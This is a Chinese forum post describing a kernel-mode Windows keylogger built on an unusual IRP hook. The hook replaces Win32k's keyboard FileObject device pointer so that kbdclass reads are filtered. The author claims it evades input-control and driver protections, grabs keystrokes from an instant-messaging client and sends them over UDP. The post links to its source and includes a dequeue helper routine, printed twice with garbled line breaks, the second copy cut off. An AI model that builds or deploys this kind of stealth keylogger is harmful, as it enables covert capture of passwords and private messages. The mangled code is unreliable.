先上链接KARLANN
之前搞过一个基于intel-vt的IO端口的键盘记录器,不过只能支持PS/2键盘,而且有点杀鸡焉用牛刀的感觉。最近在《Windows内核安全与驱动开发》的启发下,实现了一个基于IRP Hook的键盘记录器,书中的方法估计早就被防的差不多了,所以使用了不同的方式Hook IRP,算是进阶版吧,更难被察觉。实测可以过控件保护以及驱动保护。
获取某即时通讯软件的键盘输入
简单来说,键盘的输入,是通过键盘驱动(比如kbdhid.sys)通过各种方式获取到键盘硬件的数据输入,然后键盘驱动调用初始化时保存的kbdclass.sys的回调函数KeyboardClassServiceCallback,将键盘数据发送到kbdclass.sys,最后由kbdclass.sys将数据填充到之前Pending的IRP,将IRP返回到Win32k(或者保存到缓冲区内,等待IRP的到来)。
但要怎么拦截这些IRP呢,书中可以将驱动挂载到kbdclass驱动设备上,作为设备过滤驱动拦截IRP,不过这种方法太明显了。所以我选择将Win32k驱动用于读键盘数据的hKeyboard->FileObject->DeviceObject替换为Poc驱动的DeviceObject,由Poc驱动充当中间层驱动,过滤Win32k和Kbdclass的IRP。
重点在于获取这个FileObject,这个FileObject由ZwReadFile填在Irp->IrpSp->FileObject中,并且Kbdclass会在没有键盘数据时将IRP保存在它的DeviceExtension->ReadQueue链表中,虽然Kbdclass的DeviceExtension结构体没有公开,但其中大部分结构的偏移自从Windows 8开始都是不变的,所以可以找到ReadQueue链表,使用KeyboardClassDequeueRead函数(如上),取出IRP,也就取出了FileObject。
另外为支持PNP,Poc驱动会在IoCancelIrp时将FileObject->DeviceObject还原,以便于之后设备卸载。
其他的功能包括,使用libwsk库,把它的C++库做了一些调整,实现了UDP传输键盘数据的功能,以及按键映射的功能,另外增加了对x86的支持。
建议在Windows 7 x86/x64 6.1(7601)SP1 - Windows 10 x86/x64 21H1(19043.1889)环境运行
代码放在github了
github链接
PIRP
KeyboardClassDequeueRead(
_In_ PCHAR DeviceExtension
)
/
*
+
+
Routine Description:
Dequeues the
next
available read irp regardless of FileObject
Assumptions:
DeviceExtension
-
>SpinLock
is
already held (so no further sync
is
required).
-
-
*
/
{
ASSERT(NULL !
=
DeviceExtension);
PIRP nextIrp
=
NULL;
LIST_ENTRY
*
ReadQueue
=
(LIST_ENTRY
*
)(DeviceExtension
+
READ_QUEUE_OFFSET_DE);
while
(!nextIrp && !IsListEmpty(ReadQueue)) {
PDRIVER_CANCEL oldCancelRoutine;
PLIST_ENTRY listEntry
=
RemoveHeadList(ReadQueue);
/
/
/
/
Get the
next
IRP off the queue
and
clear the cancel routine
/
/
nextIrp
=
CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
oldCancelRoutine
=
IoSetCancelRoutine(nextIrp, NULL);
/
/
/
/
IoCancelIrp() could have just been called on this IRP.
/
/
What we're interested
in
is
not
whether IoCancelIrp() was called
/
/
(ie, nextIrp
-
>Cancel
is
set
), but whether IoCancelIrp() called (
or
/
/
is
about to call) our cancel routine. To check that, check the result
/
/
of the test
-
and
-
set
macro IoSetCancelRoutine.
/
/
if
(oldCancelRoutine) {
/
/
/
/
Cancel routine
not
called
for
this IRP. Return this IRP.
/
/
/
*
ASSERT(oldCancelRoutine
=
=
KeyboardClassCancel);
*
/
}
else
{
/
/
/
/
This IRP was just cancelled
and
the cancel routine was (
or
will
/
/
be) called. The cancel routine will complete this IRP as soon as
/
/
we drop the spinlock. So don't do anything with the IRP.
/
/
/
/
Also, the cancel routine will
try
to dequeue the IRP, so make the
/
/
IRP's listEntry point to itself.
/
/
/
/
ASSERT(nextIrp
-
>Cancel);
InitializeListHead(&nextIrp
-
>Tail.Overlay.ListEntry);
nextIrp
=
NULL;
}
}
return
nextIrp;
}
PIRP
KeyboardClassDequeueRead(
_In_ PCHAR DeviceExtension
)
/
*
+
+
Routine Description:
Dequeues the
next
available read irp regardless of FileObject
Assumptions:
DeviceExtension
-
>SpinLock
is
already held (so no further sync
is
required).
-
-
*
/
{
ASSERT(NULL !
=
DeviceExtension);
PIRP nextIrp
=
NULL;
LIST_ENTRY
*
ReadQueue
=
(LIST_ENTRY
*
)(DeviceExtension
+
READ_QUEUE_OFFSET_DE);
while
(!nextIrp && !IsListEmpty(ReadQueue)) {
PDRIVER_CANCEL oldCancelRoutine;
PLIST_ENTRY listEntry
=
RemoveHeadList(ReadQueue);
/
/
/
/
Get the
next
IRP off the queue
and
clear the cancel routine
/
/
nextIrp
=
CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
oldCancelRoutine
=
IoSetCancelRoutine(nextIrp, NULL);
/
/
/
/
IoCancelIrp() could have just been called on this IRP.
/
/
What we're interested
in
is
not
whether IoCancelIrp() was called
/
/
(ie, nextIrp
-
>Cancel
is
set
), but whether IoCancelIrp() called (
or
/
/
is
about to call) our cancel routine. To check that, check the result
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-9-20 17:57
被hkx3upper编辑
,原因: